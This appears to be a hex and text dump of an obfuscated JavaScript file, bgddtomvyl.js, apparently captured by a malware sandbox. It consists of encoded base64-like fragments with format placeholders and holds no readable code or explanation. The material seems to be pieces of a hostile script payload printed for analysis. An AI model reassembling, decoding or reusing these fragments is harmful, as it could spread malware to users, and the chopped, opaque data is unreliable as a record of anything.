55 7b 32 7d 41 7a 57 
7b 32 7d 42 56 63 30 
5a 4e 64 6e 68 76 4d 
46 4e 6b 52 58 4a 46 
5a 79 74 43 63 33 41 
34 55 7a 68 35 4f 48 
46 68 59 32 39 50 7b 
30 7d 45 7b 31 7d 57 
55 6a 56 6f 53 57 30 
34 63 47 5a 33 5a 48 
6c 35 4b 32 30 79 62 
7b 30 7d 46 58 59 30 
74 61 55 32 34 32 56 
6d 39 4a 4e 7b 32 7d 
68 6e 5a 7a 51 33 53 
6e 42 71 4f 47 46 45 
4e 48 52 51 7b 30 7d 
57 4a 6a 52 31 46 7b 
31 7d 52 7a 5a 78 59 
7a 42 4f 4e 32 35 57 
53 56 64 34 59 30 34 
30 56 55 4e 6d 63 57 
4e 36 4e 6a 67 77 4d 
56 64 35 64 7b 30 7d 
46 51 7b 30 7d 30 63 
77 55 30 7b 31 7d 56 
53 57 31 4c 63 6e 68 
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69 38 30 63 31 56 52 
4e 6d 77 33 55 31 52 
4b 52 7b 32 7d 46 34 
63 47 73 34 5a 56 4a 
78 4d 45 73 33 5a 32 
39 53 61 33 4d 72 53 
48 63 32 63 57 49 34 
59 57 5a 6a 59 32 51 
32 61 79 39 31 51 6a 
64 72 62 6e 52 47 53 
6a 42 50 7b 30 7d 32 
7b 31 7d 4e 56 56 42 
43 4d 30 35 53 53 56 
4a 6f 63 7b 30 7d 64 
73 4e 57 4e 68 62 56 
42 71 53 6e 68 56 4e 
33 68 7b 32 7d 56 7b 
30 7d 59 78 52 55 35 
58 63 7b 30 7d 46 5a 
52 31 64 58 4e 32 64 
45 62 6a 45 74 50 43 
55 79 7b 30 7d 6a 64 
71 4d 6d 39 6b 61 6d 
51 78 59 6b 4e 73 53 
56 41 32 51 6d 59 76 
55 31 6b 30 57 45 4e 
7b 30 7d 4c 32 52 35 
64 31 64 79 51 6a 51 
31 63 7b 30 7d 64 4f 
52 55 56 61 61 47 59 
78 59 7a 56 49 52 57 
46 57 52 32 68 4a 64 
7b 32 7d 52 6d 57 6b 
74 76 64 57 30 32 4f 
47 30 79 5a 57 74 7a 
61 30 77 
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61 30 68 52 5a 57 68 
31 63 58 5a 48 63 6a 
6c 76 7b 30 7d 48 64 
7b 31 7d 52 6d 6c 43 
65 43 39 59 59 6a 49 
74 50 43 56 56 63 57 
6c 6b 63 6e 52 74 4e 
48 52 59 63 7b 30 7d 
42 61 4d 7b 30 7d 68 
75 55 46 7b 31 7d 56 
53 7b 30 7d 59 72 55 
6a 51 72 63 47 31 77 
4d 32 52 4c 51 7a 63 
74 50 43 56 4a 59 56 
59 33 4c 7b 30 7d 77 
6c 59 30 30 32 63 58 
49 32 57 45 78 36 63 
58 42 6e 4e 47 51 78 
7b 30 7d 6d 64 56 4b 
33 5a 69 51 31 4a 49 
65 55 78 55 61 55 6f 
7a 4c 7b 30 7d 77 6c 
51 33 5a 35 57 6e 45 
72 5a 6b 35 4c 7b 30 
7d 6d 52 6a 55 48 68 
68 4c 7b 30 7d 77 6c 
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{0}
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30 68 74 4e 6a 56 34 
62 55 39 43 65 7b 30 
7d 4d 78 4c 7b 30 7d 
77 6c 61 30 74 5a 4d 
53 39 6f 61 58 52 72 
65 48 64 36 52 7b 30 
7d 46 59 62 6e 51 33 
52 6b 52 7b 30 7d 64 
56 46 33 63 6b 56 52 
65 47 64 77 52 46 52 
6a 4e 43 39 32 4f 56 
56 75 53 48 46 59 65 
7b 32 7d 42 68 4e 43 
73 77 56 6a 45 33 55 
45 56 58 5a 6d 31 49 
4d 6d 31 6b 52 6a 42 
7b 30 7d 62 32 45 33 
64 6a 4e 31 63 6b 59 
74 50 43 56 6f 4f 58 
4d 34 7b 30 7d 6d 35 
35 63 57 68 30 63 56 
6b 7a 52 48 68 77 4f 
45 56 7b 32 7d 64 30 
78 6c 57 7b 30 7d 64 
73 55 33 51 77 65 6b 
64 68 5a 6d 6f 33 62 
33 51 7a 4d 46 4e 58 
7b 30 7d 32 56 77 62 
45 31 30 5a 58 4a 36 
5a 31 6c 5a 63 30 5a 
56 62 58 52 71 53 6d 
78 6c 64 56 4e 31 62 
53 39 74 62 58 49 34 
65 48 45 32 64 58 63 
79 63 6e 42 6f 63 79 
39 6c 63 

VkMv{0}0htNjV4bU9Ce{0}
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55 35 4d 6b 39 30 57 
6a 64 33 62 7b 30 7d 
5a 36 7b 30 7d 46 4a 
33 4e 58 4a 5a 65 58 
64 48 53 6b 4e 4a 57 
55 6f 7a 7b 30 7d 6d 
31 57 64 33 6c 77 53 
48 42 43 4d 33 5a 47 
5a 45 4a 4b 4c 32 4a 
7b 30 7d 65 6c 7b 31 
7d 75 4e 7b 30 7d 67 
35 56 33 4e 30 56 53 
39 5a 59 58 4e 72 65 
6d 74 30 52 7b 32 7d 
42 79 4f 45 7b 31 7d 
4f 56 6e 68 69 52 6e 
52 48 53 7b 32 7d 4d 
78 64 30 74 50 52 46 
46 6b 63 32 52 71 63 
47 6c 69 53 6e 56 6d 
4c 7a 49 30 62 55 74 
57 52 48 56 79 62 45 
52 6b 65 57 56 59 57 
48 7b 31 7d 72 57 58 
5a 56 64 43 30 38 4a 
7b 30 7d 64 6c 57 6d 
74 78 4f 43 74 30 57 
56 46 35 7b 30 7d 7b 
30 7d 52 78 7b 30 7d 
57 74 52 7b 30 7d 33 
42 72 63 

VCbU9GRH{1}kZ05XWUU
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7a 4a 59 65 6b 68 4f 
57 6a 42 33 52 55 56 
34 57 46 4a 50 56 47 
46 7b 32 7d 51 6c 46 
36 59 32 52 53 51 6c 
56 72 4d 33 68 33 52 
30 4e 48 52 7b 30 7d 
6c 6b 52 58 64 52 62 
6a 52 50 65 56 4a 4f 
4b 32 38 30 4e 57 74 
72 65 58 52 6d 56 32 
5a 75 56 46 6b 30 59 
6b 74 78 59 6e 4d 74 
50 43 56 46 5a 47 31 
76 56 7a 52 33 4e 45 
4a 51 65 6d 63 79 55 
31 6c 6a 5a 6d 38 32 
52 7b 32 7d 6c 31 52 
55 4e 52 56 7b 32 7d 
59 33 55 6b 4a 4c 56 
55 6c 7b 30 7d 52 7b 
30 7d 6b 76 57 7b 30 
7d 56 43 63 7b 32 7d 
64 55 63 55 7b 31 7d 
49 55 6d 74 72 52 55 
31 4d 53 6d 46 4e 4d 
57 4a 75 4d 32 78 30 
64 7b 32 7d 6c 57 51 
6e 46 58 64 45 52 78 
4c 33 46 78 59 33 6f 
78 4e 6d 46 5a 59 30 
74 75 57 43 74 7b 32 
7d 62 57 6c 31 55 47 
5a 35 65 6b 6c 4a 5a 
30 68 7a 4d 55 5a 56 
65 6d 4d 
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47 56 30 65 57 46 50 
62 6c 5a 4f 63 55 67 
74 50 43 55 7a 4e 55 
64 5a 65 6e 4a 75 52 
6e 7b 31 7d 77 4d 47 
35 6d 61 48 4e 4d 4d 
6d 74 7b 30 7d 55 31 
7b 31 7d 6d 4c 7b 30 
7d 77 6c 52 6d 64 4b 
62 48 64 48 62 47 31 
76 52 6e 5a 6a 52 46 
59 32 4e 32 59 77 4e 
6c 4e 30 4b 30 52 50 
56 31 45 35 61 6d 46 
7a 4d 69 39 30 61 55 
35 48 64 32 5a 76 62 
45 49 32 7b 30 7d 6d 
64 43 4c 7b 30 7d 77 
6c 5a 6d 46 55 59 6e 
6c 36 61 47 39 55 65 
6b 5a 4a 52 58 68 7a 
5a 56 5a 7b 30 7d 4f 
48 56 4c 55 46 7b 31 
7d 7a 51 6e 51 78 56 
79 38 32 4d 79 39 76 
55 48 46 52 61 31 51 
72 7b 30 7d 31 7b 31 
7d 59 51 6e 41 72 56 
58 6c 6b 7b 30 7d 31 
64 77 7b 30 7d 47 68 
73 61 55 51 72 4f 55 
4e 45 4f 47 64 73 7b 
30 7d 6e 64 77 53 46 
7b 31 7d 

RGWH{1}nRzlWME{1}L{0}
GV0eWFPbl
ZOcUgtPCUzNUdZenJuRn
{1}wMG5maH
NMMmt{0}U1{1}mL{0}wlR
mdKbHdHbG
1vRnZjRFY2N2YwNlN0K0
RPV1E5amFz
Mi90aU5Hd2ZvbEI2{0}md
CL{0}wlZm
FUYnl6aG9UekZJRXhzZV
Z{0}OHVLUF
{1}zQnQxVy82My9vUHFR
a1Qr{0}1{1
}YQnArVXlk{0}1dw{0}Ghsa
UQrOUNE
OGds{0}ndwSF{1}
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6e 46 4d 7b 30 7d 7a 
42 6e 64 6a 68 49 4f 
45 4d 30 4d 55 39 72 
4e 6b 56 77 53 53 74 
77 4e 31 5a 4a 63 43 
74 6c 64 58 64 33 7b 
30 7d 58 42 6d 62 55 
4a 55 4e 32 46 48 7b 
30 7d 47 35 5a 5a 79 
38 31 53 48 64 78 63 
55 4e 56 7b 30 7d 6d 
7b 31 7d 4d 64 48 64 
55 52 32 6c 7b 30 7d 
5a 45 52 57 64 55 56 
33 4c 7b 30 7d 77 6c 
4c 7b 30 7d 77 6c 7b 
30 7d 33 68 74 53 7a 
6c 78 61 30 56 59 57 
48 4a 7a 63 47 4d 74 
50 43 56 47 62 48 6c 
75 52 33 42 69 59 55 
6c 6e 59 57 4e 7a 51 
7a 51 35 7b 30 7d 47 
39 4c 56 33 4a 4e 56 
32 55 32 63 46 56 55 
64 55 52 30 51 6b 5a 
6b 59 7a 56 4b 51 32 
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30 7d 59 7a 52 46 46 
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68 35 7b 30 7d 7a 4e 
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64 45 64 45 63 77 64 
6d 39 6a 53 57 73 78 
56 47 4e 45 4b 30 74 
46 62 6d 7b 31 7d 6b 
53 6d 35 74 4d 45 4a 
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34 33 5a 57 74 68 65 
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7d 56 4e 71 52 6b 4a 
74 57 6e 68 33 53 48 
68 50 59 30 34 76 4d 
6b 59 74 50 43 56 7b 
30 7d 63 6d 7b 31 7d 
7b 30 7d 63 30 34 30 
4e 47 31 69 5a 6a 52 
6d 64 32 49 33 65 6c 
56 59 64 31 6c 75 52 
58 64 55 56 56 45 33 
65 57 30 79 62 32 35 
68 53 47 51 74 50 43 
56 46 4c 31 7b 31 7d 
77 59 6e 51 7a 4d 6c 
4e 30 65 55 38 33 4b 
30 64 7b 30 7d 4d 6c 
7b 31 7d 57 57 47 31 
53 56 57 5a 56 56 6e 
4d 34 4e 6e 46 46 64 
46 46 79 52 56 63 32 
7b 30 7d 55 64 72 65 
45 31 52 52 57 45 31 
5a 7b 30 7d 52 79 4e 
6d 35 73 53 6a 64 5a 
61 30 56 34 4e 31 4a 
46 4e 7b 30 7d 52 4e 
4b 32 78 75 56 6c 4a 
57 61 46 56 6e 62 6a 
6c 6a 63 6e 64 72 4d 
55 63 77 56 45 78 43 
65 69 30 38 4a 7b 30 
7d 46 35 55 79 38 74 
50 43 56 74 53 6c 46 
78 4b 7a 6c 6f 64 55 
56 4c 55 

}zR4U2NibzQ4{0}VNqRkJt
Wnh3SHhP
Y04vMkYtPCV{0}cm{1}
{0}c040NG1i
ZjRmd2I3elVYd1luRXdUV
VE3eW0yb2
5hSGQtPCVFL1{1}wYnQz
MlN0eU83K0
d{0}Ml{1}WWG1SVWZVVn
M4NnFFdFFy
RVc2{0}UdreE1RRWE1Z{0
}RyNm5sSj
dZa0V4N1JFN{0}RNK2xu
VlJWaFVnbj
ljcndrMUcwVExCei08J{0}F
5Uy8tPC
VtSlFxKzlodUVLU
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C:\Users\user\bgddtomvyl.js unknown 1024 55 74 50 43 56 36 7b 
30 7d 6b 74 52 59 32 
5a 4c 5a 7b 32 7d 68 
51 4f 7b 30 7d 42 6b 
61 45 6c 52 61 47 35 
4e 62 33 42 78 53 45 
56 57 52 55 59 32 4b 
32 67 30 4b 30 59 76 
5a 45 52 6d 5a 7b 30 
7d 64 33 59 7a 56 69 
56 56 4e 46 65 56 6c 
77 63 6e 7b 31 7d 61 
5a 45 64 5a 4c 7b 30 
7d 77 6c 65 53 74 34 
62 47 55 79 63 48 5a 
4a 51 31 6c 50 59 58 
7b 31 7d 77 56 55 7b 
31 7d 7b 32 7d 61 30 
4a 31 63 6b 5a 4c 61 
79 38 31 61 33 42 76 
4c 33 52 4f 59 6b 4e 
32 62 45 6c 59 57 6b 
78 6f 57 45 30 74 50 
43 56 77 4d 6d 49 30 
52 33 6b 35 55 6e 4a 
7a 53 47 55 30 55 48 
52 4e 4c 7b 30 7d 77 
6c 4e 7b 32 7d 4a 6e 
59 6b 4e 6a 4c 7b 30 
7d 77 6c 5a 31 6c 51 
7b 30 7d 56 4e 43 64 
6b 55 79 7b 30 7d 6e 
6c 4f 63 47 6c 68 61 
6e 42 6d 5a 6a 59 35 
64 31 4a 49 52 55 52 
46 4b 7a 6c 7b 30 7d 
56 57 59 

UtPCV6{0}ktRY2ZLZ{2}hQ
O{0}BkaE
lRaG5Nb3BxSEVWRUY2
K2g0K0YvZERm
Z{0}d3YzViVVNFeVlwcn{1
}aZEdZL{
0}wleSt4bGUycHZJQ1lPY
X{1}wVU{1}
{2}a0J1ckZLay81a3BvL3R
OYkN2bE
lYWkxoWE0tPCVwMmI0R
3k5UnJzSGU0
UHRNL{0}wlN{2}JnYkNjL{0
}wlZ1lQ
{0}VNCdkUy{0}nlOcGlhan
BmZjY5d1
JIRURFKzl{0}VWY
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C:\Users\user\bgddtomvyl.js unknown 1024 59 31 42 4c 4e 6d 7b 
31 7d 31 56 55 67 72 
55 7a 4a 75 61 6b 55 
78 61 58 4a 72 4d 7a 
42 30 51 6d 30 79 4d 
45 74 59 7b 30 7d 43 
39 51 4d 58 46 47 56 
55 6b 77 56 6a 56 49 
62 7a 67 77 4d 55 6b 
7a 62 31 59 31 57 48 
6c 35 63 55 74 51 4e 
32 31 56 61 6e 7b 31 
7d 34 59 7a 4a 4b 4f 
56 4d 7a 52 6c 6f 35 
62 55 56 52 64 55 56 
79 56 33 41 78 52 31 
5a 4e 59 58 59 7a 7b 
30 7d 32 4a 6c 61 45 
73 30 52 7b 30 7d 52 
43 5a 47 35 48 64 46 
56 48 62 79 39 4a 4d 
46 6c 30 4f 45 56 7a 
59 32 6f 33 7b 30 7d 
6a 68 57 5a 30 30 32 
51 32 31 74 4d 48 51 
30 63 58 6c 56 4c 33 
7b 31 7d 76 4e 6b 78 
4c 61 58 41 72 53 32 
5a 34 64 58 46 77 4e 
46 55 78 56 46 67 79 
64 7a 52 7b 30 7d 57 
47 31 77 62 33 7b 31 
7d 56 5a 58 67 35 57 
46 63 31 64 6a 64 35 
64 30 55 33 59 30 6c 
76 52 6e 68 6e 59 56 
46 72 53 

Y1BLNm{1}1VUgrUzJuakU
xaXJrMzB0
Qm0yMEtY{0}C9QMXFGV
UkwVjVIbzgw
MUkzb1Y1WHl5cUtQN21
Van{1}4YzJK
OVMzRlo5bUVRdUVyV3A
xR1ZNYXYz{0
}2JlaEs0R{0}RCZG5HdFV
Hby9JMFl0
OEVzY2o3{0}jhWZ002Q21
tMHQ0cXlV
L3{1}vNkxLaXArS2Z4dXF
wNFUxVFgy
dzR{0}WG1wb3{1}VZXg5
WFc1djd5d0
U3Y0lvRnhnYVFrS
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C:\Users\user\bgddtomvyl.js unknown 1024 65 46 64 55 59 6b 64 
69 57 6a 46 50 55 32 
78 4d 53 7b 30 7d 42 
32 65 46 4e 6f 4d 6c 
56 4a 57 46 5a 79 51 
6b 74 53 4e 6a 46 31 
5a 7b 30 7d 52 7b 32 
7d 7b 30 7d 46 4a 7b 
32 7d 5a 47 68 57 51 
7a 52 7b 31 7d 52 58 
52 6e 5a 6d 46 32 56 
53 74 68 7b 30 7d 79 
73 33 4e 6c 56 4c 55 
6a 64 7b 31 7d 64 57 
4e 4a 5a 31 42 43 4c 
79 30 38 4a 7b 30 7d 
45 34 57 6a 5a 5a 7b 
30 7d 53 74 53 4e 47 
6f 74 50 43 55 74 50 
43 55 76 65 48 42 53 
56 31 6c 50 65 6d 74 
74 56 45 4e 72 4d 6d 
7b 31 7d 7b 32 7d 4e 
6a 64 78 63 32 64 6b 
62 6b 56 5a 62 6e 55 
30 4e 57 64 7b 31 7d 
65 6c 5a 56 7b 30 7d 
47 31 30 64 45 5a 4f 
61 47 39 6f 59 7a 49 
30 56 6a 52 30 56 47 
6c 48 7b 30 7d 57 39 
7b 30 7d 5a 55 56 53 
7b 30 7d 7a 6c 69 57 
56 59 74 50 43 56 6b 
65 58 6c 30 53 31 7b 
31 7d 6a 5a 6b 49 79 
56 79 74 

eFdUYkdiWjFPU2xMS{0}B
2eFNoMlVJ
WFZyQktSNjF1Z{0}R{2}
{0}FJ{2}ZG
hWQzR{1}RXRnZmF2VSt
h{0}ys3NlVL
Ujd{1}dWNJZ1BCLy08J{0}
E4WjZZ{0
}StSNGotPCUtPCUveHBS
V1lPemttVENrMm{1}
{2}Njdxc2dkbkVZbnU0NW
d{
1}elZV{0}G10dEZOaG9oY
zI0VjR0VG
lH{0}W9{0}ZUVS{0}zliWVY
tPCVkeXl0S1{1}jZkIyVyt
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C:\Users\user\bgddtomvyl.js unknown 208 5a 55 56 55 78 4d 65 
6d 7b 31 7d 4a 7b 30 
7d 6c 56 4f 4e 58 4a 
50 65 47 56 35 4e 6a 
56 31 64 57 6c 4a 55 
53 74 6c 4d 6c 4e 68 
4f 45 64 51 56 6a 4e 
7b 30 7d 4c 7b 30 7d 
77 6c 65 56 6c 61 4e 
30 78 31 4e 46 59 78 
56 45 68 6f 4e 31 5a 
7b 30 7d 4f 57 68 78 
64 7b 30 7d 46 58 56 
6b 56 4c 52 46 45 31 
53 56 4e 4e 65 56 52 
32 61 6e 68 51 64 6c 
68 78 4c 30 51 78 62 
48 67 76 51 31 4e 45 
61 7a 46 59 65 6a 6c 
56 7b 30 7d 46 46 6f 
57 47 39 6d 56 6b 74 
6d 4d 33 52 30 7b 30 
7d 57 4a 75 56 7b 30 
7d 63 79 7b 30 7d 46 
64 5a 56 6b 31 77 4e 
7b 30 7d 68 30 59 57 
39 71 56 47 5a 4f 4c 
7a 6b 77 61 47 55 34 
55 7b 30 7d 45 7a 4d 
58 68 36 4e 48 

ZUVUxMem{1}J{0}lVONXJ
PeGV5NjV1
dWlJUStlMlNhOEdQVjN{0}
L{0}wleV
laN0x1NFYxVEhoN1Z{0}O
Whxd{0}FX
VkVLRFE1SVNNeVR2anh
QdlhxL0QxbH
gvQ1NEazFYejlV{0}FFoW
G9mVktmM3
R0{0}WJuV{0}cy{0}FdZVk1
wN{0}h0
YW9qVGZOLzkwaGU4U{0
}EzMXh6NH
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C:\Users\user\bgddtomvyl.js unknown 1024 52 7b 30 7d 59 6c 52 
4f 4f 58 46 53 61 6a 
63 79 59 31 41 79 59 
33 6c 57 57 48 4e 7a 
7b 30 7d 30 6c 33 63 
6c 4e 7b 31 7d 5a 32 
68 4c 4b 31 46 6a 56 
6d 55 78 4b 31 56 33 
52 32 6c 75 61 32 34 
35 57 46 45 79 59 58 
4a 55 52 33 7b 31 7d 
5a 65 47 52 6f 5a 56 
5a 33 4d 47 78 31 55 
6c 67 35 4d 6a 64 4e 
61 31 68 76 56 6d 4a 
74 56 48 56 4b 65 48 
46 53 4d 30 52 45 53 
31 63 30 55 31 46 6e 
57 6a 52 48 61 30 59 
33 56 6b 5a 4e 62 32 
6b 79 4f 46 4a 6d 4f 
46 56 69 61 33 59 32 
63 6b 74 33 65 45 74 
4e 56 6a 5a 30 5a 7a 
52 61 5a 33 5a 6a 4e 
30 74 6a 62 58 46 61 
7b 30 7d 46 42 74 64 
6e 6c 71 55 31 5a 33 
56 7a 56 61 5a 6d 46 
4e 52 47 78 79 4d 56 
6f 35 7b 30 7d 33 46 
6c 63 6a 5a 30 56 47 
4a 6f 57 47 74 58 55 
31 49 77 55 57 68 68 
4e 30 5a 50 65 6e 6f 
77 7b 30 7d 7a 46 78 
64 48 55 

R{0}YlROOXFSajcyY1AyY
3lWWHNz{0
}0l3clN{1}Z2hLK1FjVmUxK
1V3R2lu
a245WFEyYXJUR3{1}ZeG
RoZVZ3MGx1
Ulg5MjdNa1hvVmJtVHVK
eHFSM0RES1
c0U1FnWjRHa0Y3VkZNb2
kyOFJmOFVi
a3Y2ckt3eEtNVjZ0ZzRaZ3
ZjN0tjbX
Fa{0}FBtdnlqU1Z3VzVaZ
mFNRGxyMV
o5{0}3FlcjZ0VGJoWGtXU1
IwUWhhN0
ZPenow{0}zFxdHU
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C:\Users\user\bgddtomvyl.js unknown 1024 5a 36 63 31 6c 73 4b 
32 78 45 56 6c 4a 6d 
4d 58 6c 6a 52 33 6c 
4d 62 56 41 31 7b 30 
7d 6e 4e 49 62 6c 52 
73 56 31 68 50 52 6b 
4a 6d 64 46 52 6b 64 
6c 51 32 5a 7b 32 7d 
4a 57 62 45 35 6e 4e 
47 56 58 61 7b 30 7d 
5a 72 53 30 5a 73 4d 
47 4e 7a 4b 30 6c 7b 
30 7d 4e 7b 32 7d 56 
76 64 6a 6b 35 4d 7a 
68 49 4e 55 35 79 56 
6e 6b 72 5a 45 35 47 
64 7b 32 7d 56 49 63 
31 6c 31 4e 30 52 46 
4e 7b 32 7d 56 48 52 
32 55 76 4b 32 56 34 
55 57 46 7b 31 7d 5a 
30 35 7a 52 33 49 79 
56 30 78 72 61 30 4a 
6f 59 7b 30 7d 6c 43 
65 57 55 77 64 58 51 
79 55 31 68 78 61 55 
52 4f 61 7b 30 7d 4e 
4a 56 46 52 58 65 58 
42 33 59 57 77 76 5a 
58 51 32 56 7b 32 7d 
52 50 51 6e 56 7b 32 
7d 56 7b 30 7d 56 6b 
4d 47 46 4f 62 7b 32 
7d 6c 43 57 6c 6f 79 
53 53 30 38 4a 58 42 
31 55 48 5a 5a 63 7b 
30 7d 5a 

Z6c1lsK2xEVlJmMXljR3lM
bVA1{0}n
NIblRsV1hPRkJmdFRkdlQ
2Z{2}JWbE
5nNGVXa{0}ZrS0ZsMGNz
K0l{0}N{2}
Vvdjk5MzhINU5yVnkrZE5
Gd{2}VIc1
l1N0RFN{2}VHR2UvK2V4
UWF{1}Z05z
R3IyV0xra0JoY{0}lCeWUw
dXQyU1hx
aUROa{0}NJVFRXeXB3Y
WwvZXQ2V{2}
RPQnV{2}V{0}VkMGFOb{2
}lCWloySS
08JXB1UHZZc{0}Z
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C:\Users\user\bgddtomvyl.js unknown 1024 39 43 62 32 46 68 53 
46 7b 31 7d 31 4d 56 
4a 4e 61 31 4e 51 62 
47 6c 4e 55 31 68 30 
4b 33 7b 31 7d 79 52 
6b 39 35 52 6e 5a 4c 
4d 31 45 33 57 6e 64 
6c 65 6b 35 7b 31 7d 
7b 30 7d 7b 32 7d 4e 
71 61 33 5a 68 62 32 
78 33 57 47 56 57 5a 
45 4e 6f 53 7b 30 7d 
4a 6f 59 6b 63 7a 4f 
46 5a 4e 7b 30 7d 55 
4e 34 52 6c 52 79 5a 
57 68 4a 62 7b 30 7d 
67 78 4d 30 4d 76 59 
69 30 38 4a 56 6c 34 
63 6b 35 76 55 45 5a 
4e 59 6a 6c 33 4f 7b 
32 7d 4a 6b 56 30 68 
6b 64 32 39 30 55 46 
5a 73 4d 6e 64 72 61 
56 42 32 57 6d 73 33 
64 48 4e 7b 32 7d 63 
57 78 76 65 47 56 4f 
55 7a 5a 68 63 32 55 
30 56 48 68 55 7b 30 
7d 6c 6c 4b 7b 30 7d 
31 52 7b 30 7d 4d 32 
67 30 51 32 55 72 7b 
30 7d 55 64 68 61 58 
42 68 55 53 73 76 63 
6d 74 47 56 33 51 34 
64 30 4a 4d 63 58 42 
7b 32 7d 55 6c 55 76 
62 31 52 

9Cb2FhSF{1}1MVJNa1NQ
bGlNU1h0K3
{1}yRk95RnZLM1E3Wndle
k5{1}{0}{
2}Nqa3Zhb2x3WGVWZEN
oS{0}JoYkcz
OFZN{0}UN4RlRyZWhJb{0
}gxM0MvYi
08JVl4ck5vUEZNYjl3O{2}J
kV0hkd2
90UFZsMndraVB2Wms3d
HN{2}cWxveG
VOUzZhc2U0VHhU{0}llK{0
}1R{0}M2
g0Q2Ur{0}UdhaXBhUSsvc
mtGV3Q4d0
JMcXB{2}UlUvb1R
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C:\Users\user\bgddtomvyl.js unknown 1024 55 77 55 6d 46 32 61 
6a 68 4c 59 6e 7b 31 
7d 79 52 46 56 53 4f 
57 35 34 52 33 52 49 
4e 46 4a 73 56 6d 49 
79 57 6b 30 32 65 58 
5a 50 4d 55 52 4f 53 
30 56 6c 51 6d 52 58 
4e 53 30 38 4a 7b 30 
7d 68 6c 61 6e 52 73 
55 6d 39 45 55 32 4d 
79 4d 57 73 77 62 6a 
6b 74 50 43 56 79 4d 
47 45 74 50 43 55 32 
7b 30 7d 6c 51 33 55 
6c 4d 72 7b 30 7d 46 
46 6d 51 32 35 31 56 
33 68 78 62 55 5a 6f 
7b 30 7d 79 30 38 4a 
53 30 38 4a 55 56 50 
4b 32 38 79 53 47 35 
76 5a 6e 4d 74 50 43 
56 6e 51 6d 64 4f 5a 
6b 56 32 53 33 46 35 
4e 6b 39 4f 52 47 63 
34 56 32 78 6b 55 6e 
41 33 4e 48 4e 33 55 
53 39 79 64 57 78 76 
7b 30 7d 46 5a 4e 63 
6d 6f 32 57 6c 56 48 
59 55 74 33 59 56 4e 
73 56 6e 64 53 4e 48 
64 4d 4c 30 7b 31 7d 
7b 31 7d 4e 45 64 49 
61 46 4e 75 63 6c 6c 
47 51 6d 67 72 63 6b 
67 32 52 

UwUmF2ajhLYn{1}yRFVS
OW54R3RINF
JsVmIyWk02eXZPMURO
S0VlQmRXNS08
J{0}hlanRsUm9EU2MyMW
swbjktPCVy
MGEtPCU2{0}lQ3UlMr{0}F
FmQ251V3
hxbUZo{0}y08JS08JUVPK
28ySG5vZn
MtPCVnQmdOZkV2S3F5
Nk9ORGc4V2xk
UnA3NHN3US9ydWxv{0}F
ZNcmo2WlVH
YUt3YVNsVndSNHdML0{1
}{1}NEdIaF
NucllGQmgrckg2R
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C:\Users\user\bgddtomvyl.js unknown 1024 55 58 4a 35 7b 30 7d 
58 41 77 4c 30 35 4a 
7b 30 7d 45 68 71 61 
6e 64 6a 56 47 4a 4b 
4d 31 56 71 61 32 52 
73 5a 45 49 33 55 57 
46 68 52 6d 52 75 62 
6e 52 4e 64 6b 4e 4d 
53 57 56 6e 53 30 31 
33 5a 6a 63 35 63 57 
6b 77 5a 6a 46 4e 4c 
7b 30 7d 77 6c 51 6e 
4e 7b 32 7d 7b 30 7d 
6b 56 59 59 30 56 6d 
59 7b 30 7d 42 45 62 
46 64 4b 55 45 5a 48 
55 46 64 4c 63 31 68 
35 57 6a 4a 35 62 56 
52 51 64 57 7b 31 7d 
43 65 45 5a 45 61 31 
49 76 4e 45 34 7a 61 
7b 32 7d 55 32 56 47 
4e 43 4d 46 68 77 64 
33 5a 77 51 6b 4a 6a 
5a 6d 6c 33 4c 7b 30 
7d 77 6c 4d 33 4d 74 
50 43 56 50 53 31 4e 
4a 64 48 6c 47 4e 47 
63 7a 61 56 68 55 59 
58 6f 30 5a 48 52 68 
59 6b 52 33 64 56 4a 
48 52 6e 4a 59 7b 30 
7d 6c 5a 76 7b 30 7d 
6e 55 77 4e 58 7b 31 
7d 6a 7b 30 7d 55 39 
59 62 6d 31 52 4e 58 
52 50 56 

UXJ5{0}XAwL05J{0}Ehqan
djVGJKM1
Vqa2RsZEI3UWFhRmRub
nRNdkNMSWVn
S013Zjc5cWkwZjFNL{0}wl
QnN{2}{0
}kVYY0VmY{0}BEbFdKUE
ZHUFdLc1h5
WjJ5bVRQdW{1}CeEZEa1
IvNE4za{2}
U2VGNCMFhwd3ZwQkJjZ
ml3L{0}wlM3
MtPCVPS1NJdHlGNGcza
VhUYXo0ZHRh
YkR3dVJHRnJY{0}lZv{0}n
UwNX{1}j
{0}U9Ybm1RNXRPV
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C:\Users\user\bgddtomvyl.js unknown 1024 4d 46 6c 6b 59 58 59 
7a 62 32 4a 4b 61 46 
46 30 4f 48 64 79 4d 
55 64 46 64 31 5a 34 
4e 6b 67 72 5a 30 64 
48 7b 30 7d 47 67 72 
65 7b 30 7d 42 30 4f 
47 64 52 61 46 41 76 
53 6e 45 79 53 55 6b 
77 52 32 4a 7b 32 7d 
64 6d 6c 51 53 6a 4a 
6d 7b 30 7d 48 42 51 
56 6b 5a 6e 4f 56 4e 
61 4f 45 56 76 55 58 
4e 30 52 47 4e 68 4f 
46 6c 7b 30 7d 57 56 
46 71 62 48 4d 7a 56 
30 5a 4d 59 55 68 59 
52 46 5a 7b 32 7d 51 
6a 46 50 5a 48 4e 6b 
64 48 4a 45 63 56 59 
35 62 53 74 6d 56 58 
46 53 4c 7a 42 6d 62 
45 7b 31 7d 35 62 47 
51 74 50 43 55 72 7b 
30 7d 6e 42 50 57 6b 
63 76 61 7b 32 7d 6b 
78 65 46 68 76 61 47 
6c 46 56 7b 32 7d 42 
57 51 6e 64 45 52 46 
46 78 5a 6e 46 32 57 
47 56 76 7b 30 7d 7a 
46 69 53 6c 52 4a 59 
33 42 7b 31 7d 62 6d 
56 75 4d 45 35 75 52 
56 56 57 56 6b 68 34 
53 48 42 

MFlkYXYzb2JKaFF0OHdy
MUdFd1Z4Nk
grZ0dH{0}Ggre{0}B0OGdR
aFAvSnEy
SUkwR2J{2}dmlQSjJm{0}
HBQVkZnOV
NaOEVvUXN0RGNhOFl{0}
WVFqbHMzV0
ZMYUhYRFZ{2}QjFPZHNk
dHJEcVY5bS
tmVXFSLzBmbE{1}5bGQt
PCUr{0}nBP
Wkcva{2}kxeFhvaGlFV{2}
BWQndERF
FxZnF2WGVv{0}zFiSlRJY
3B{1}bmVu
ME5uRVVWVkh4SHB
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C:\Users\user\bgddtomvyl.js unknown 1024 59 31 64 6d 5a 35 52 
57 52 77 4d 7a 64 77 
51 32 51 32 55 30 64 
6b 56 32 7b 31 7d 6a 
61 57 31 35 4e 45 49 
78 55 45 56 43 4e 31 
52 71 4e 7b 30 7d 5a 
4d 4c 32 74 4a 4d 6e 
6c 77 62 30 7b 31 7d 
